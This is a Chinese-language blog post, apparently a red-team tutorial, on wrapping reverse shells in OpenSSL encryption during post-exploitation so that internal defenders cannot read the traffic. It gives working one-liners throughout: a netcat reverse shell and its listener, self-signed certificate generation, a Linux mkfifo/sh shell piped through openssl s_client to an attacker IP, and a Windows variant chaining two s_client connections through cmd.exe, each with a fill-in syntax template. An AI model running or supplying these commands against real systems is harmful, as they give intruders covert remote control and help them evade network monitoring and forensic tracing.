红队隧道加密之OpenSSL加密反弹Shell(一)

前言

在红队的后渗透阶段中, 往往需要反弹shell进行下一步的内网横向渗透, 而这种反弹shell大多数都有一个缺点, 那就是其传输的流量都是明文传输, 相当容易被内网的防火软件所捕捉, 要是蓝队对此流量进行朔源分析, 很容易就能复现攻击的整个流程

例如此处用netcat反弹Shell进行测试, 首先在攻击机(kali,192.168.47.134)监听本机6666端口

nc -lvp 6666

image-20221105152309389


在目标主机(win7,192.168.47.149)连接攻击机并反弹一个CmdShell

nc 192.168.47.134 6666 -e cmd 

image-20221105152453317


随后可在攻击机接收反弹的CmdShell, 输入ipconfig进行测试

1


在攻击机使用wireshark抓取攻击机与目标主机之间的传输数据包, 并追踪其TCP流, 可发现是明文数据

1

1


OpenSSL的介绍

OpenSSL 是一个开源的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。OpenSSL 可以运行在OpenVMS、 Microsoft Windows以及绝大多数类Unix操作系统上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。

它也提供了一个移植版本,可以在IBM i(OS/400)上运作


OpenSSL下载安装

Windows安装

Windows版本下载地址: https://slproweb.com/products/Win32OpenSSL.html

若你的windows系统是64位, 则按下图所示选择即可

image-20221105171202996


Linux安装

1.下载并安装OpenSSL

# wget https://www.openssl.org/source/openssl-1.1.1s.tar.gz --no-check-certificate
# tar -xzvf openssl-1.1.1s.tar.gz
# cd openssl-1.1.1s
# mkdir /usr/local/openssl
# make
# make install

2.创建软链接

# ln -s /usr/local/openssl/bin/openssl /usr/bin/openssl

3.查看openssl版本验证是否安装成功

#openssl version

OpenSSL使用流程

1.生成自签名证书

在攻击机输入如下命令生成自签名证书, 此处采用的是RSA加密方式; 随后会要求输入证书信息, 直接一路回车即可

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

命令语法: openssl req -x509 -newkey rsa:4096 -keyout [key文件] -out [cert文件] -days 365 -nodes

image-20221105154017781


2.反弹加密Shell

Linux客户端

在攻击机创建服务端, 监听本机的4444端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

在linux客户端输入如下命令进行反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.47.134:4444 > /tmp/s; rm /tmp/s

命令语法: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [服务端IP]:[监听端口] > /tmp/s; rm /tmp/s

image-20221105165717054


随后攻击机接收到反弹回来的shell

image-20221105170041611


Windows客户端

与Linux客户端不一样的是, Windows客户端需要在攻击机用两个shell分别创建两个服务端来对接, 这两个服务端可以是相同IP不同端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
openssl s_server -quiet -key key.pem -cert cert.pem -port 6666

命令语法: openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

image-20221105163711458


随后返回客户端输入如下命令, 意思是从192.168.47.134:4444获取命令发送给cmd执行, 然后将执行结果返回给192.168.47.134:6666

openssl s_client -quiet -connect 192.168.47.134:4444 | cmd.exe | openssl s_client -quiet -connect 192.168.47.134:6666

命令语法: openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

image-20221105164019604


随后在攻击机接收到反弹的shell

image-20221105164229692


抓包分析

在攻击机使用wireshark抓包分析, 可发现攻击机和目标主机使用TLS1.2协议进行加密通讯

image-20221105170359664


参考文章

posted @ 2022-11-26 13:47  亨利其实很坏  阅读(153)  评论(0编辑  收藏  举报